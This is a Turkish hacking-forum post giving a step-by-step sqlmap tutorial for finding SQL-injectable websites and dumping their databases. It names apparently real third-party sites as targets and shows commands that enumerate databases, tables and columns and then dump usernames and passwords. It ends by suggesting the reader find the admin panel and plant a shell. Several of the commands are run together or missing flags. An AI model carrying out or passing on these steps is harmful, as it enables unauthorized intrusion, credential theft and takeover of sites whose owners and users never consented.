osmanpgrr12
- 23 Eki 2019
- 126 Mesaj
-Alfa'dan hepinize selamlar bugün sqlmap ile site Dumplamayı Göstereceğim...-
-GEREKLİ PROGRAMLAR:-
-Python-
1. ADIM:SQLMapı CMD İle Açma-
C: Dizinine gelene kadar şu kodu yazıyoruz:
Kod:
cd..
C:/ Dizinine geldikten sonra şu kodu yazın:
Kod:
cd sqlmap
Şimdi sqlmapı çalıştırdık.
ADIM 2 : Sql Açıklı Site Bulma-
Sql açıklı siteleri Safe 3 ile açık aratarak bulabilirsiniz veya forumlarda sql açıklı site paylaşımları olur oradanda alabilirsiniz neyse devam edelim...-
Sql açığını kontrol etme!-
Kod:
http://www.illiade.com/spectacle1718.php?id=94'ADIM 3 : Sql açıklı siteden Veri Çekmek:-
Kod:
sqlmap.py -u http://www.czga.ro/pagina.php?id=10--dbs--ENTER tuşuna bastığımızda işleme geçiyor SQLMAP'ımız ve aşağıdaki resimde kırmızı ile bir kısım işaretledim sonuna dikkat ederseniz [Y/n] yazıyor yani Yes ? No ? diye soruyor bize öyle kısımlarda "y" yazıp ENTER tuşuna basıyoruz---
--
---
--2 Adet veritabanı tespit ettik...---
---Veritabanı Tablolarını Çekmek:----
Kod:
sqlmap.py -u http://www.czga.ro/pagina.php?id=10 czga1 --tables
Kod:
sqlmap.py -u http://www.czga.ro/pagina.php?id=10 -D czga1 -T Tablo_Adı --columns
Kod:
sqlmap.py -u http://www.czga.ro/pagina.php?id=10 -D czga1 -T USER_PRIVILEGES --columns-Kolonlardaki Verileri (Username & Password) Çekme----
Evet son olarak kullanıcı ve şifreleri çekmek için bu kodu kullanıyoruz (benim veritabanındaki açık kapanmıs o yuzden gorsel ekleyemedim)
Kod:
sqlmap.py -u http://hedefurl.com-D Veritabanı_Adı -T Tablo_Adı -C Kolon_Adı --dumpusername ve password artık elimizde İntelli tamper ile admin paneli bulup shell sokabilirsiniz!
